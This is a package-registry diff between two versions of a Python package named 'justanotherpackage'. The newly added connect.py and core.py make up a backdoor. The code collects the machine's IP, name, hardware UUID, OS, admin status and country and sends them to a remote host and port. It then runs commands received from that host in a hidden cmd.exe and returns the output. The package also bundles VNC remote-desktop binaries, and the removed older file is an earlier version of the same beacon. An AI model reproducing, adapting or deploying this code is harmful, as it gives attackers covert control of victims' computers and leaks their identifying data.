justanotherpackage 0.1.7__tar.gz → 0.1.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (22) hide show
  1. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/PKG-INFO +1 -1
  2. justanotherpackage-0.1.9/justanotherpackage/connect.py +92 -0
  3. justanotherpackage-0.1.9/justanotherpackage/core.py +30 -0
  4. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage.egg-info/PKG-INFO +1 -1
  5. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/setup.py +1 -1
  6. justanotherpackage-0.1.7/justanotherpackage/connect.py +0 -60
  7. justanotherpackage-0.1.7/justanotherpackage/core.py +0 -0
  8. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/MANIFEST.in +0 -0
  9. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/__init__.py +0 -0
  10. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  11. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  12. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  13. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  14. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  15. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/ddengine.dll +0 -0
  16. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/logging.dll +0 -0
  17. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/vnchooks.dll +0 -0
  18. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage/vnc/winvnc.exe +0 -0
  19. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage.egg-info/SOURCES.txt +0 -0
  20. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  21. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/justanotherpackage.egg-info/top_level.txt +0 -0
  22. {justanotherpackage-0.1.7 → justanotherpackage-0.1.9}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.7
3
+ Version: 0.1.9
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -0,0 +1,92 @@
1
+
2
+ import socket
3
+ import time
4
+ import platform
5
+ import ctypes
6
+ import requests
7
+ from wmi import WMI
8
+ from .core import create_shell
9
+ import json
10
+
11
+ def check_account_type():
12
+ try:
13
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
14
+ return "Admin"
15
+ else:
16
+ return "User"
17
+ except Exception:
18
+ return "None"
19
+
20
+ def get_client_info():
21
+ system = platform.system()
22
+ version = platform.version().split('.')[0]
23
+ os = f"{system} {version}"
24
+ response = requests.get('https://ipv4.jsonip.com', timeout=5)
25
+ data = response.json()
26
+ ip = data.get('ip')
27
+ response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
28
+ data = response.json()
29
+ country_en = data['country']['names']['en']
30
+
31
+ client_info = { "new_client": {
32
+ "IP": ip,
33
+ "PC Name": platform.node(),
34
+ "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
35
+ "OS": os,
36
+ "Account Type": check_account_type(),
37
+ "Country": country_en,
38
+ "Tag": "Remote PC",
39
+ }
40
+ }
41
+ return client_info
42
+
43
+ def start_connection(HOST, PORT):
44
+ while True:
45
+ try:
46
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
47
+ client_socket.connect((HOST, PORT))
48
+ client_info = get_client_info()
49
+ client_socket.sendall(str(client_info).encode('utf-8'))
50
+
51
+ while True:
52
+ data = client_socket.recv(1024).decode('utf-8').strip()
53
+ if not data:
54
+ break
55
+
56
+ if data.get("terminal") is not None:
57
+ terminal(data, client_socket)
58
+
59
+ except (socket.error, ConnectionResetError):
60
+ time.sleep(1)
61
+
62
+ finally:
63
+ client_socket.close()
64
+
65
+
66
+ def terminal(data, client_socket):
67
+ shell, stdout_queue, stderr_queue = create_shell()
68
+
69
+ if isinstance(data, str):
70
+ try:
71
+ data = json.loads(data)
72
+ except json.JSONDecodeError:
73
+ data = data
74
+ else:
75
+ data = json.dumps(data)
76
+
77
+ data = data["terminal"]
78
+
79
+ shell.stdin.write(data + "\n")
80
+ shell.stdin.flush()
81
+
82
+ time.sleep(0.5)
83
+ output = ""
84
+
85
+ while not stdout_queue.empty() or not stderr_queue.empty():
86
+ while not stdout_queue.empty():
87
+ output += stdout_queue.get_nowait()
88
+ while not stderr_queue.empty():
89
+ output += stderr_queue.get_nowait()
90
+
91
+ client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
92
+ shell.terminate()
@@ -0,0 +1,30 @@
1
+ import subprocess
2
+ import threading
3
+ import queue
4
+
5
+ def create_shell():
6
+ def read_output(pipe, output_queue):
7
+ for line in iter(pipe.readline, ''):
8
+ output_queue.put(line)
9
+ pipe.close()
10
+
11
+ shell = subprocess.Popen(
12
+ ["cmd.exe"],
13
+ stdin=subprocess.PIPE,
14
+ stdout=subprocess.PIPE,
15
+ stderr=subprocess.PIPE,
16
+ text=True,
17
+ bufsize=1
18
+ )
19
+
20
+ stdout_queue = queue.Queue()
21
+ stderr_queue = queue.Queue()
22
+
23
+ stdout_thread = threading.Thread(target=read_output, args=(shell.stdout, stdout_queue))
24
+ stderr_thread = threading.Thread(target=read_output, args=(shell.stderr, stderr_queue))
25
+ stdout_thread.daemon = True
26
+ stderr_thread.daemon = True
27
+ stdout_thread.start()
28
+ stderr_thread.start()
29
+
30
+ return shell, stdout_queue, stderr_queue
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.7
3
+ Version: 0.1.9
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.1.7",
5
+ version="0.1.9",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,
@@ -1,60 +0,0 @@
1
-
2
- import socket
3
- import time
4
- import platform
5
- import ctypes
6
- import requests
7
- from wmi import WMI
8
-
9
- def check_account_type():
10
- try:
11
- if ctypes.windll.shell32.IsUserAnAdmin() != 0:
12
- return "Admin"
13
- else:
14
- return "User"
15
- except Exception:
16
- return "None"
17
-
18
- def get_client_info():
19
- system = platform.system()
20
- version = platform.version().split('.')[0]
21
- os = f"{system} {version}"
22
- response = requests.get('https://ipapi.co/json/')
23
- data = response.json()
24
- ip = data.get('ip')
25
- country = data.get('country_name')
26
-
27
- client_info = {
28
- "IP": ip,
29
- "PC Name": platform.node(),
30
- "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
31
- "OS": os,
32
- "Account Type": check_account_type(),
33
- "Country": country,
34
- "Tag": "Remote PC",
35
- }
36
- return client_info
37
-
38
- def start_connection(HOST, PORT):
39
- while True:
40
- try:
41
- client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
42
- client_socket.connect((HOST, PORT))
43
- client_info = get_client_info()
44
- client_socket.sendall(str(client_info).encode('utf-8'))
45
- print(f"{client_info} sent to: {HOST}:{PORT}")
46
- handle_connection(client_socket)
47
- except Exception as e:
48
- print(e)
49
- time.sleep(5)
50
- finally:
51
- client_socket.close()
52
-
53
- def handle_connection(client_socket):
54
- try:
55
- while True:
56
- command = client_socket.recv(1024).decode('utf-8').strip()
57
- if command:
58
- client_socket.sendall(f"Command executed successfully: {command}\n".encode('utf-8'))
59
- except:
60
- client_socket.close()
File without changes